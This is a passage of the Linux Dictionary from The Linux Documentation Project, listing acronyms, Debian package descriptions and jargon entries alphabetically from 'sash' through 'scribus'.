Stand−alone shell. sash serves as an interactive substitute for /bin/sh, for use when /bin/sh is unusable. It's statically linked, and inludes many standard utilities as builtins (type "help" at the prompt for a reference list). If you've installed sash before rendering your system unbootable, and you have some

knowledge of how your system is supposed to work, you might be able to repair your system using init=/bin/sash at the boot prompt. Some people also prefer to have sash available as the shell for a root account (perhaps an under an alternate name such as sashroot) Configuration support is included for people who want this. Note: sash is not intended to serve as /bin/sh, and has few of the interactive features present in bash or ksh. It's designed to be simple and robust, for people who need to do emergency repair work on a system. Also note: sash doesn't include a built−in fsck −− fsck is too big and complicated. If you need fsck, you'll have to get at least one partition or disk working well enough to run fsck. More generally, sash is but one tool of many (backups, backup recovery tools, emergency boot disks or partitions, spare parts, testing of disaster plans, etc.) to help you recover a damaged system. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SASI
: Shugart Associates System Interface From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sasl−bin
: Programs for manipulating the SASL users database This is the Cyrus SASL API implementation. It can be used on the client or server side to provide authentication. See RFC 2222 for more information. This package contains common binary files for plugin modules. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sasl2−bin
: Programs for manupulating the SASL users database This is the Cyrus SASL API implentation, version 2. See package libsasl2 and RFC 2222 for more information. This package contains common binary files for plugin modules. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SAST
: South Australia Standard Time [+0930] (TZ) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SAT
: Standard AUTODIN Terminal (AUTODIN, mil.) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SAT
: Summed Area Table (3D, MIP) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SATAN
: Security Administrator Tool for Analyzing Networks (Internet) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SATAN (Security Administrator Tool for Analyzing Networks)
: A vulnerability scanning tool designed to hunt for many ways into a system. Much hyped at the time; people feared that it would give a powerful tool into the hands of hackers everywhere. In practice, it was a dud: it was much to "noisy", was already outdated by the time it was released, was impossible to setup, and hasn't been really maintained. From Hacking−Lexicon
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SATAN (Security Administrator Tool for Analyzing Networks)
: Program designed to assess the security status of a computer or local area network (LAN) connected to the Internet. The program determines whether Internet−related software is misconfigured in a way that could render the system vulnerable to a cracker. The program is controversial because intruders as well as system administrators can use it to find loopholes. The controversy deepened when the program's authors, Dan Farmer and Wietse Venema, made the program publicly available through the Internet. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SATCOM

SATellite COMmunications From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SATF

Shared Access Transport Facility From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SAU

Secure Access Unit From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sauce

SMTP defence software against spam SAUCE (Software Against Unsolicited Commercial Email) sits between the Internet and your existing Mail Transfer Agent (e.g. Exim). It does a number of checks on incoming mail, including being able to blacklist senders and their sites automatically when they mail special `spam bait' addresses. This is an ALPHA version and should be used by experts only. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

savant

The University of Cincinnati's free VHDL 93 Analyzer This is the analyzer and intermediate representation for a free VHDL simulation system from the University of Cincinnati's Experimental Computation Laboratory. "scram", SAVANT's analyzer, converts VHDL into the AIRE intermediate standard form. AIRE is designed to be extensible by the user so that they can easily insert their own back ends. SAVANT includes a VHDLpublishing back end and a C++ publishing back end. The generated C++ can be compiled and linked against the TyVis library to allow end to end sequential or parallel simulation of VHDL. This version of the Debian package supports only sequential simulation − future releases should support parallel simulation as well. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

save−session

Saves the current GNOME session (or terminates it) From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

savelog

save a log file From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sawfish

A highly configurable window manager for X11. Sawfish is an extensible window manager using an Emacs Lisp−like scripting language−−all window decorations are configurable, the basic idea is to have as much user−interface policy as possible controlled through the Lisp language. This is no layer on top of twm, but a wholly new architecture. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sawfish−gnome

A highly configurable window manager for X11 and Gnome. Sawfish is an extensible window manager using an Emacs Lisp−like scripting language−−all window decorations are configurable, the basic idea is to have as much user−interface policy as possible controlled through the Lisp language. This is no layer on top of twm, but a wholly new architecture. This package contains the capplets to configure Sawfish in the Gnome control center, and the Gnome support. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SAX

Simple API for XML (API, XML) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SAX

SUSE Advanced X [configuration tool] (SUSE, Linux) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

saxon−catalog

Catalog support and wrapper the Saxon XSLT Processor This package provides a simple front−end to Saxon for processing XML source files with XSL stylesheets. Catalog support is provided by an extension class to Norm Walsh's Arbortext Catalog Classes. A wrapper script for general saxon usage is also included. This package works well for processing DocBook XML sources. Author: Jirka Kosek <jirka@kosek.cz> Homepage: http://www.kosek.cz/xml/saxon/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

saydate

speaks the current date through your sound card Says the current date and uptime through your sound card. Requires you have a sound output device available. Also includes au2raw, a sox wrapper which converts a .au file to a .raw file. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

saytime

speaks the current time through your sound card Say the current time through your sound card. Requires you have a sound output device available. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Synchronous Bandwidth Allocation (SMT, FDDI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SBA

System For Business Automation From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SBC

SCSI Block Commands (SAM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SBC

Single Board Computer From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SBC

Small Business Computer From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SBCCS

Single Byte Command Code Set [protocol] From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sbcl

Steel Bank Common Lisp, a fork from CMUCL SBCL is a Common Lisp compiler with a transparent build process, that aims for correctness and ANSI compliance. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SBCS

Single Byte Character Set (ASCII, DBCS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SBF

Sequential Block Filemanager (OS−9) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SBH

Secure Backbone Hub (Accton) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SBI

Storage Bus Interconnect From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SBI

Synchronous Bus Interface From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SBIS

Sustaining Base Information System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SBL

Super BASIC Language (BASIC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SBLC

Sustaining Base Level Computer From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sbm

Smart Boot Manager (SBM) is a full−featured boot manager. Smart Boot Manager (SBM) is an OS independent and full−featured boot manager with an easy−to−use user interface. The main goals of SBM are to be absolutely OS independent, flexible and full−featured. It has all of the features needed to boot a variety of OSes from several kinds of media, while keeping its size no more than 30K bytes. In another words, SBM does NOT touch any of your partitions, it totally fits into the first track (the hidden track) of your hard disk! It's capabilities: * Automatically searches drivers and partitions * Powerful Boot Schedule * Booting from CD−ROM * Swapping driver ID * Auto Delay Boot * Sending keystrokes to the operating system * Easy Customized Theme file * Password protection * Y2k bug work−around for old BIOSes From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SBMS

Southwestern Bell Mobile Service From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SBP

SCSI−3 serial Bus Protocol (SAM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SBS

Small Business Server From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sbuild

Tool for building Debian binary packages from Debian sources sbuild builds binary packages from source. It can do its work in chroots so both stable and unstable environments can be used on the same machine. It's also useful for figuring out a package's build dependencies. sbuild is part of the wanna−build build system used by most architectures to build packages for Debian. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SBUS

Sun [i/o interface] BUS (Sun, SPARC), "SBus" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SC

SubCommittee (ISO, TC, IEC, ...) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sc

Text−based spreadsheet with VI−like keybindings "Spreadsheet Calculator" is a much modified version of the public− domain spread sheet sc, which was posted to Usenet several years ago by Mark Weiser as vc, originally by James Gosling. It is based on rectangular table much like a financial spreadsheet. Its keybindings are familiar to users of 'vi', and it has most features that a pure spreadsheet would, but lacks things like graphing and saving in foreign formats. It's very stable and quite easy to use once you've put a little effort into learning it. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCA

Scalable Cooperative Architecture From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCA

Software Corporation of America (manufacturer, USA) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCA

Synchronous Clock Adjustment From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCAF

Service Control Agent Function (IN) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCAI

Scandinavian Conference on Artificial Intelligence (conference, FAIS, AI) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Scalable font

A screen or printer font that you can enlarge or reduce to any size, within a specified range, without introducing unattractive distortions. Outline font technology is most commonly used to provide scalable fonts, but other technologies − including stroke fonts, which form characters from a matrix of lines − are sometimes used. From QUECID
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scalable−cyrfonts

scalable Cyrillic fonts This package includes Cyrillic Type1 fonts for the following font families: Times, Helvetica, Courier, Avant Garde, Palatino, New Century Schoolbook, Bookman Light and Teams. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scalable−cyrfonts−tex

scalable Cyrillic fonts for TeX This package makes the fonts from the package scalable−cyrfonts available to TeX. It installs all needed TeX font metric files, virtual fonts, font definitions and some style packages. Please read the file /usr/share/doc/scalable−cyrfonts−tex/README.Debian. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scalable−cyrfonts−x11

scalable Cyrillic fonts for X This package makes the fonts from the package scalable−cyrfonts available to the X server or font server. For proper reencoding it needs capable X server or font server. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scalapack−lam−test

Scalable Linear Algebra Package ScaLAPACK is the parallel version of LAPACK. It depends on PVM or MPI. This package provides the tester applications. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scalapack−mpich−test

Scalable Linear Algebra Package ScaLAPACK is the parallel version of LAPACK. It depends on PVM or MPI. This package provides the tester applications. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scalapack−pvm−test

Scalable Linear Algebra Package ScaLAPACK is the parallel version of LAPACK. It depends on PVM or MPI. This package provides the tester applications. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scalapack−test−common

Test data for ScaLAPACK testers. The ScaLAPACK tester in scalapack−lam−test or scalapack−mpich−test need some data provided by this package. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scalapack1−lam

Scalable Linear Algebra Package ScaLAPACK is the parallel version of LAPACK. It depends on PVM or MPI. This package provides the shared libraries, it depends on the LAM implementation of MPI. Also included: PBLAS, Parallel Basic Linear Algebra Subprograms. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scalapack1−mpich

Scalable Linear Algebra Package ScaLAPACK is the parallel version of LAPACK. It depends on PVM or MPI. This package provides the shared libraries, it depends on the MPICH implementation of MPI. Also included: PBLAS, Parallel Basic Linear Algebra Subprograms. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scalapack1−pvm

Scalable Linear Algebra Package ScaLAPACK is the parallel version of LAPACK. It depends on PVM or MPI. This package provides the shared libraries needed to run applications. Also included: PBLAS, Parallel Basic Linear Algebra Subprograms. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCAM

SCSI Configured AutoMatically (SCSI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCAMC

Symposium on Computer Applications in Medical Care (conference) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCAN

Switched−Circuit Automatic Network From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scan (scanner)

This word is overused to the point that it is frequently confusing what people are talking about. The problem is that a scanner can be either active or passive. Example: There are variations of virus scanners: background scanner Scans for viruses continuously in the background. on−access scanner Scans a file for viruses whenever it is accessed. on−demand scanner Scans the hard disk looking for viruses whenever told to by the user. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scandetd

Portscan detector for Linux. Scandetd is a portscan detector. By default, it logs incoming TCP connections to the host. If a second connection happens within 1 second, it too is logged to syslog. If scandetd recognizes this pattern as a portscan and sends mail to (by default) root@localhost. Scandetd will also attempt to recognize OS fingerprinting probes. It will attempt to determine the tool being used, at this point Queso or NMAP. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scanerrlog

Generate summaries from Apache error logs This program allows people to parse Apache error_log files from multiple sources and present a summary of the frequency of error messages in one of a variety of different formats (text, html, xml, pdf). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scanimage

scan an image From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scanlogd

A portscan detecting tool Scanlogd is a daemon written by Solar Designer to detect portscan attacks on your machine. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scanmail

Mail scanner for Postfix This program is invoked from the .forward file of a user and scans the incoming mails for .vbs .exe .com .bat, and similar attachments. If a message is clean, it is inserted into the users qmail−style Maildir or it is spooled to the users mbox. Otherwise, it is bounced. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scanner
A peripheral that uses light receptors for reading printed material and digitally transferring the information as image objects into a computer system for processing. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scanpci
scan/probe PCI buses From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scansort
A CSV−based image sorter and verifier ScanSort allows one to sort and verify images based upon information contained in comma−separated−value (CSV) files. It is designed for use by those who collect series of scans from Usenet, the WWW, etc for which a CSV file containing the image names, sizes, CRCs, etc is available. In addition to its image−sorting capabilities, ScanSort can also help manage CSV collections, create lists of images for trading, etc. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scanssh
get SSH server versions for an entire network The scanssh protocol scanner scans a list of addresses and networks for running SSH protocol servers and their version numbers. The scanssh protocol scanner supports random selection of IP addresses from large network ranges and is useful for gathering statistics on the deployment of SSH protocol servers in a company or the Internet as whole. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scantv
scan TV channels for stations This utility can scan a channel set for TV stations and write the ones found into a xawtv config file (which is also read by some other utilities like fbtv). It also tries to extract the station names from vbi data. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCB
Subsystem Control Block (OS/2, IBM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCC
SCSI Controller Commands (SAM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCC
Serial Communication Controller From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCC
Serial Controller−Chip (IC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCC
Softarc Certified Consulter (SoftArc) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCC
Specialized Common Carrier From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCC
Standards Council of Canada (org., Canada) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCC
Storage Connecting Circuit From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCCP

Signaling Connection Control Part (MSC, GSM, mobile−systems) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCCS

Source Code Control System (Unix, AT&T, CM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCCS

Specialized Common Carrier Service From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCCS

Switching Control Center System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCD

SPARC Compliance Definition (SI, SPARC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCDE

Significant CALS Data Elements From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCDMS

Society for Clinical Data Management Systems (org., USA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCE

Structure Chart Editor From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCEF

Service Creation Environment Function (IN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCEIO

Societe Canadienne pour l'Etude de l'Intelligence par Ordinateur (org., Canada, AI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCF

Selective Call−Forwarding From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCF

Sequential Character Filemanager (OS−9) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCF

Service Control Function (IN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCG

Security Classification Guide From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCH

Synchronization CHannel (GSM, mobile−systems) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Scheme

A small, uniform Lisp dialect with clean semantics, developed initially by Guy Steele and Gerald Sussman in 1975. Scheme uses applicative order reduction and is lexically scoped. It treats both functions and continuations as first−class objects. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCI

Scalable Coherent Interface (ANSI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scid

Chess database Shane's Chess Information Database is a chess database application with a graphical user interface. With it you can browse databases of chess games, edit games and search for games by various criteria. Scid uses its own compact and fast database format, but can convert to and from PGN. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCID

Service Channel IDentifier From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scigraphica

Scientific graphics and data manipulation (Gtk version) SciGraphica is a scientific application for data analysis and technical graphics. It pretends to be a clone of the popular commercial (and expensive) application "Microcal Origin". It fully supplies plotting features for 2D charts. This package is non−Gnome version. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scigraphica−common

Scientific graphics and data manipulation (shared files) SciGraphica is a scientific application for data analysis and technical graphics. It pretends to be a clone of the popular commercial (and expensive) application "Microcal Origin". It fully supplies plotting features for 2D charts. This package contains shared files, like pixmaps and examples. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scigraphica−gnome

Scientific graphics and data manipulation (Gnome version) SciGraphica is a scientific application for data analysis and technical graphics. It pretends to be a clone of the popular commercial (and expensive) application "Microcal Origin". It fully supplies plotting features for 2D charts. This package is Gnome version. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sciplot1

widget for scientific plotting The SciPlot Widget is a widget capable of plotting cartesian or polar graphs, including logarithmic axes in cartesian plots. The widget is subclassed directly from the Core widget class, which means that it does not depend upon any other widget set. It may be freely used with Athena, Motif, or the Open Look/Xview widget sets. (There is optional Motif support that causes the widget to be subclassed from XmPrimitive. See the man page.) Features provided in the widget include automatic scaling, legend drawing, axis labeling, PostScript output, multiple plotted lines, color support, user font specification, dashed lines, symbols drawn at points, logarithmic scales on one or both axes in cartesian plots, and degrees or radians as angles in polar plots. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCIT

Semi−Conductor and Interconnect Technologies From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scite

Lightweight GTK−based Programming Editor GTK−based Programming with with syntax highlighting support for many languages. Also supports folding sections, exporting highlighted text into colored HTML and RTF. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCL

System Control Language From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scli

a collection of SNMP command line management tools The scli package was written in order to have small and efficient command line utility to monitor and configure network devices and host systems. The scli package is based on the SNMP management protocol and it utilizes a MIB compiler called smidump to generate C stub code. In fact, virtually no SNMP knowledge is required in order to extend the scli programs with new features. In other words, the slogan for this little package is: "After more than 10 years of SNMP, I felt it is time for really useful command line SNMP monitoring and configuration tools. ;−)" (description taken from upstream sources) scli replaces the stools package From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sclient
A gtk−based MUD−client. Sclient is a graphical MUD−client for X that tries to be small, fast, and to use as little CPU as possible. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCM
Segment Control Module From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCM
Service Circuit Modul Mil., Germany From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCM
Service Control Manager (Windows NT) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCM
Small Core Memory From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCM
Software Configuration Management From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCMP
Stream Control Message Protocol (ST2) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCMS
??? [scrambling] (DAT) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCMS
Serial Copy Management System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scmxx
Exchange data with Siemens mobile phones SCMxx is a console program that allows you to exchange certain types of data with mobile phones made by Siemens. Some of the data types that can be exchanged are logos, ring tones, vCalendars, phonebook entries, and SMS messages. It works with the S25, S35i, M35i and C35i, SL45, S45 and ME45 and probably others. You need a serial connection (either cable or infrared) to your mobile phone in order to use SCMxx. It basically uses the AT command set published by Siemens (with some other, additional resources). See the website http://www.hendrik−sattler.de/scmxx for details. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCN
Specifications Change Notice From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCNR
Sorry, Could Not Resist (slang, Usenet) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCO
Santa Cruz Operation (manufacturer, Unix) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCO Linux
The SCO Group was formerly known as Caldera International. The company now provides a variety of Linux and Unix solutions. SCO is the North American UnitedLinux partner. Caldera OpenLinux 3.1.1 was released January 2002. SCO Linux 4.0, Powered by UnitedLinux was released at the end of 2002. Now it is no longer available, and moved to the historical section on May 28, 2003. Distribution development is not all that active. From LWN Distribution List

http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scons
: A replacement for Make Scons is able to build files from other files, based on the dependency DAG. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCOOPS
: SCheme Object Oriented Programming System (OOP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCOPE
: SCalable Object Processing Environment (Creamware) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCOPE
: Simple COmmunications Programming Environment (DFUe) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCOPE
: Supervisory Control Of Program Execution (OS, CDC 6000) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scottfree
: Interpreter for Adventure International games ScottFree reads and executes TRS−80 format Scott Adams data files. It is possible to run other formats either by writing a loader for that format or a converter to TRS−80 format. Most Adventure International Games are distributed as shareware and are available from ftp://ftp.gmd.de/if−archive/scott−adams/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scotty
: The Scotty and Tkined Network Management Tools. Scotty is a set of Tcl extensions to retrieve status information about TCP/IP networks. The extensions include commands to send icmp packets a la ping, to lookup hostnames, to query the portmapper and mount daemons. Also included are generic tcp/udp extensions as well as commands to query the domain name service for a, ptr, hinfo, mx and soa records and commands to query ntp server. log messages can be written by using the syslog command. The perhaps most interesting extension is an interface to the SNMPv1, SNMPv2C and SNMPv3 protocols. Tkined is a small but nice network management station. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCP
: Secondary Communications Processors From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scp
: secure copy (remote file copy program) From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCP
: Standard Configuration Profile (MODEM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCP
: System Control Program (OS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCPC
: Single Channel Per Carrier From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCPDOS
: Seattle Computer Products Dis Operating System (OS, DOS, MS−DOS, predecessor), "SCP−DOS" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCR

Selective Call Rejection From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCR

Sustainable Cell Rate (UNI, ATM, VBR) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

screaming tty

n. [Unix] A terminal line which spews an infinite number of random characters at the operating system. This can happen if the terminal is either disconnected or connected to a powered−off terminal but still enabled for login; misconfiguration, misimplementation, or simple bad luck can start such a terminal screaming. A screaming tty or two can seriously degrade the performance of a vanilla Unix system; the arriving "characters" are treated as userid/password pairs and tested as such. The Unix password encryption algorithm is designed to be computationally intensive in order to foil brute−force crack attacks, so although none of the logins succeeds; the overhead of rejecting them all can be substantial. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

screem

A GNOME website development environment SCREEM is a tag−based Web page editor which aims not only to aid in creating Web pages, but also to provide useful site maintenance facilities, including automatic link updating and site upload facilities. SCREEM has more than just the usual HTML tags, with features for including Javascript, PHP, cascading style sheets, etc within your site. It is written for use with the GNOME (http://www.gnome.org) desktop environment From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

screen

A terminal multiplexor with VT100/ANSI terminal emulation. screen is a terminal multiplexor that runs several separate "screens" on a single physical character−based terminal. Each virtual terminal emulates a DEC VT100 plus several ANSI X3.64 and ISO 2022 functions. Screen sessions can be detached and resumed later on a different terminal. Screen also supports a whole slew of other features. Some of these are: configurable input and output translation, serial port support, configurable logging, multi−user support, and utf8 charset support. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

screen

n. [Atari ST demoscene] One demoeffect or one screenful of them. Probably comes from old Sierra−style adventures or shoot−em−ups where one travels from one place to another one screenful at a time. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

screen

screen manager with VT100/ANSI terminal emulation From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

screen

The screen utility allows you to have multiple logins on just one terminal. Screen is useful for users who telnet into a machine or are connected via a dumb terminal, but want to use more than just one login. Install the screen package if you need a screen manager that can support multiple logins on one terminal. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

screen name

n. A handle sense 1. This term has been common among users of IRC, MUDs, and commercial on−line services since the mid−1990s. Hackers recognize the term but don't generally use it. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SCRI

Supercomputer Computations Research Institute (org., USA, HPC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scribe

Document Production System Scribe is a programming language designed for the production of electronic documents. With Scribe one can: − Produce HTML web pages. − Produce PS files. −

Produce Info files (documentation files suitable for Emacs). − Produce man pages (Unix documentation format). One may also: − Translate Texinfo files into HTML. − Upload Scribe page on an Apache server and dynamically expanse it into HTML when loaded by client. (This feature is not built for the current Debian version.) Scribe is implemented in Bigloo Scheme. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scribus

a free software desktop publishing program Scribus is a free software layout program for GNU/Linux similar to a couple of proprietary programs from Adobe and Quark. Unlike other programs Scribus uses only Type1 fonts of the X−Server. Therefore there is no fiddling around with installing extra fonts. For this reason the number of fonts is a little bit limited, but you can be sure that your monitor shows exactly the same as the printed output is. Documentation for this package is available in either French, German or English. Please choose your appropriate scribus−doc−XX documentation package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scribus−doc−de

German documentation for Scribus Scribus is a free software layout program for GNU/Linux similar to a couple of proprietary programs from Adobe and Quark. These are the documentation files in German. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

scribus−doc−en

